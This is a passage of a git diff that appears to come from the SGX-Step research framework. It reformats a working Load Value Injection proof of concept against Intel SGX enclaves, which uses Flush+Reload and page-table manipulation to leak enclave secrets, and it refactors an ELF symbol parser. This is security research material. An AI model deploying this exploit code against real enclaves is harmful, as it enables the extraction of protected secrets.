"libsgxstep/sched.h" -#include "libsgxstep/config.h" -#include "cacheutils.h" -#define VICTIM_VAL 'B' -#define PRINT_HEX 0 -#define DEBUG 0 -#define OFFSET 20 +#define VICTIM_VAL 'B' +#define PRINT_HEX 0 +#define DEBUG 0 +#define OFFSET 20 /* XXX select attack scenario below */ -#define LVI_SB 0 -#define LVI_L1D 0 -#define LVI_SB_ROP 1 +#define LVI_SB 0 +#define LVI_L1D 0 +#define LVI_SB_ROP 1 char __attribute__((aligned(0x1000))) oracle[256 * 4096]; char __attribute__((aligned(0x1000))) user_page[4096]; @@ -48,100 +50,97 @@ uint64_t pte_b_valid = 0; int offset = 0, printed = 0; uint64_t enclave_base = 0; -void reconstruct_secret(){ +void reconstruct_secret() { /* Reconstruct secret */ - for (int i = 1 ; i < 256; i++) { - if (flush_reload((char*) oracle + 4096 * i)) - { - if (i != VICTIM_VAL) - { - #if PRINT_HEX - fprintf(stdout, "%02x @%x ", (char) i & 0xff, offset); - #else - fprintf(stdout, "%c ", (char) i & 0xff); - #endif + for (int i = 1; i < 256; i++) { + if (flush_reload((char *)oracle + 4096 * i)) { + if (i != VICTIM_VAL) { +#if PRINT_HEX + fprintf(stdout, "%02x @%x ", (char)i & 0xff, offset); +#else + fprintf(stdout, "%c ", (char)i & 0xff); +#endif fflush(stdout); } } } } -void fault_handler(int signal) -{ - reconstruct_secret(); +void fault_handler(int signal) { + reconstruct_secret(); #if DEBUG - info("#PF %d: erip %p", offset, edbgrd_erip()-(uint64_t)enclave_base); + info("#PF %d: erip %p", offset, edbgrd_erip() - (uint64_t)enclave_base); #endif /* allow enclave to finish */ *pte_b = pte_b_valid; } -int main( int argc, char **argv ) -{ - sgx_launch_token_t token = {0}; - int updated = 0, rv; +int main(int argc, char **argv) { + sgx_launch_token_t token = {0}; + int updated = 0, rv; sgx_enclave_id_t eid = 0; /* Calculate Flush+Reload threshold */ CACHE_MISS = detect_flush_reload_threshold(); fprintf(stderr, "Flush+Reload Threshold: %zu\n", CACHE_MISS); memset(user_page, 'X', 4096); - memset(oracle, 0, 4096*256); - ASSERT(!claim_cpu(VICTIM_CPU) ); - ASSERT(!prepare_system_for_benchmark(PSTATE_PCT) ); + memset(oracle, 0, 4096 * 256); + ASSERT(!claim_cpu(VICTIM_CPU)); + ASSERT(!prepare_system_for_benchmark(PSTATE_PCT)); /* Create enclave environment */ - info("Creating enclave..."); - SGX_ASSERT( sgx_create_enclave( "./Enclave/encl.so", /*debug=*/1, - &token, &updated, &eid, NULL ) ); + info("Creating enclave..."); + SGX_ASSERT(sgx_create_enclave("./Enclave/encl.so", /*debug=*/1, &token, + &updated, &eid, NULL)); print_enclave_info(); - enclave_base = (uint64_t) get_enclave_base(); + enclave_base = (uint64_t)get_enclave_base(); ASSERT(signal(SIGSEGV, fault_handler) != SIG_ERR); /* Setup page table mappings */ info("oracle at %p", oracle); info("user_page at %p", user_pt); - SGX_ASSERT( ecall_get_page_a(eid, &enclave_page_a) ); + register_symbols("./Enclave/encl.so"); + enclave_page_a = get_symbol_offset("page_a") + get_enclave_base(); info("enclave_page_a at %p w PTE", enclave_page_a); - pte_a = remap_page_table_level( enclave_page_a, PTE); + pte_a = remap_page_table_level(enclave_page_a, PTE); print_pte(pte_a); - SGX_ASSERT( ecall_get_page_b(eid, &enclave_page_b) ); + enclave_page_b = get_symbol_offset("page_b") + get_enclave_base(); info("enclave_page_b at %p w PTE", enclave_page_b); - pte_b = remap_page_table_level( enclave_page_b, PTE); + pte_b = remap_page_table_level(enclave_page_b, PTE); print_pte(pte_b); pte_b_valid = *pte_b; #if LVI_SB_ROP - SGX_ASSERT( ecall_init_stack(eid) ); + SGX_ASSERT(ecall_init_stack(eid)); #endif - + /* Inject false load values */ mfence(); - while(1) - { - //for (offset=0; offset < 4096; offset++) + while (1) { + // for (offset=0; offset < 4096; offset++) { - for (int i = 0 ; i < 256; i++) - flush(oracle + 4096 * i); - - #if LVI_SB - *pte_b = MARK_SUPERVISOR(*pte_b); - SGX_ASSERT( ecall_lvi_store_user(eid, (void*) user_pt+OFFSET, oracle) ); - #elif LVI_L1D - *pte_b = *pte_a; - SGX_ASSERT( ecall_lvi_remap_l1d(eid, oracle) ); - #elif LVI_SB_ROP - *pte_b = MARK_SUPERVISOR(*pte_b); - SGX_ASSERT( ecall_lvi_sb_rop(eid, &rv, (void*) user_pt+OFFSET, oracle) ); - #endif + for (int i = 0; i < 256; i++) flush(oracle + 4096 * i); + +#if LVI_SB + *pte_b = MARK_SUPERVISOR(*pte_b); + SGX_ASSERT( + ecall_lvi_store_user(eid, (void *)user_pt + OFFSET, oracle)); +#elif LVI_L1D + *pte_b = *pte_a; + SGX_ASSERT(ecall_lvi_remap_l1d(eid, oracle)); +#elif LVI_SB_ROP + *pte_b = MARK_SUPERVISOR(*pte_b); + SGX_ASSERT( + ecall_lvi_sb_rop(eid, &rv, (void *)user_pt + OFFSET, oracle)); +#endif } } - SGX_ASSERT( sgx_destroy_enclave( eid ) ); + SGX_ASSERT(sgx_destroy_enclave(eid)); info("all is well; exiting.."); - return 0; + return 0; } diff --git a/libsgxstep/elf_parser.c b/libsgxstep/elf_parser.c index decb270..e9be79d 100644 --- a/libsgxstep/elf_parser.c +++ b/libsgxstep/elf_parser.c @@ -1,5 +1,5 @@ #include "elf_parser.h" -#include "debug.h" + #include #include #include @@ -8,6 +8,8 @@ #include #include +#include "debug.h" + struct symbol symbols[MAX_SYMBOLS] = {0}; int symbol_count = 0; @@ -42,51 +44,42 @@ void free_symbols() { void register_symbols(const char *filename) { ASSERT(elf_version(EV_CURRENT) != EV_NONE); - int fd = open(filename, O_RDONLY, 0); + int fd = -1; + Elf *elf = NULL; + GElf_Ehdr ehdr; + Elf_Scn *scn = NULL; + GElf_Shdr shdr; + size_t shstrndx; + + fd = open(filename, O_RDONLY, 0); if (fd < 0) { debug("Couldn't open file descriptor %s\n", filename); return; } - Elf *elf = elf_begin(fd, ELF_C_READ, NULL); + elf = elf_begin(fd, ELF_C_READ, NULL); if (!elf) { debug("Couldn't open ELF file %s\n", filename); - close(fd); - return; + goto err_close_fd; } - // Get the ELF header - GElf_Ehdr ehdr; if (gelf_getehdr(elf, &ehdr) == NULL) { debug("Couldn't get the ELF header %s\n", filename); - elf_end(elf); - close(fd); - return; + goto err_elf_end; } - // Locate the section header string table - Elf_Scn *scn = NULL; - GElf_Shdr shdr; - size_t shstrndx; - if (elf_getshdrstrndx(elf, &shstrndx) != 0) { debug("Couldn't locate the section name string table %s\n", filename); - elf_end(elf); - close(fd); - return; + goto err_elf_end; } - // Iterate through sections to find the symbol table while ((scn = elf_nextscn(elf, scn)) != NULL) { if (gelf_getshdr(scn, &shdr) != &shdr) { debug("Couldn't find the symbol table %s", filename); - elf_end(elf); - close(fd); - return; + goto err_elf_end; } if (shdr.sh_type == SHT_SYMTAB || shdr.sh_type == SHT_DYNSYM) { - // Get string table for symbols Elf_Data *data = NULL; size_t n_symbols = shdr.sh_size / shdr.sh_entsize; @@ -109,6 +102,13 @@ void register_symbols(const char *filename) { } } + // Clean up and return on success + elf_end(elf); + close(fd); + return; + +err_elf_end: elf_end(elf); +err_close_fd: close(fd); } diff --git a/libsgxstep/elf_parser.h b/libsgxstep/elf_parser.h index 061e919..c2fc716 100644 --- a/libsgxstep/elf_parser.h +++ b/libsgxstep/elf_parser.h @@ -11,8 +11,7 @@ struct symbol { }; uintptr_t get_symbol_offset(const char *name); -void add_symbol(const char *name, uintptr_t address); +static void add_symbol(const char *name, uintptr_t address); void register_symbols(const char *filename); #endif - diff --git a/sdk/intel-sdk/install_SGX_SDK.sh b/sdk/intel-sdk/install_SGX_SDK.sh index 3909cd9..7fc3cee 100755 --- a/sdk/intel-sdk/install_SGX_SDK.sh +++ b/sdk/intel-sdk/install_SGX_SDK.sh @@ -29,7 +29,7 @@ echo "SGX-SDK successfully patched!" # ---------------------------------------------------------------------- echo "[ installing prerequisites ]" sudo apt-get -yqq install build-essential ocaml ocamlbuild automake autoconf libtool wget python2 libssl-dev git cmake perl -sudo apt-get -yqq install libssl-dev libcurl4-openssl-dev protobuf-compiler libprotobuf-dev debhelper cmake reprepro unzip lsb-release +sudo apt-get -yqq install libssl-dev libcurl4-openssl-dev protobuf-compiler libprotobuf-dev debhelper cmake reprepro unzip lsb-release libelf-dev OS_ID=$(lsb_release -si | tr '[:upper:]' '[:lower:]') OS_REL=$(lsb_release -sr)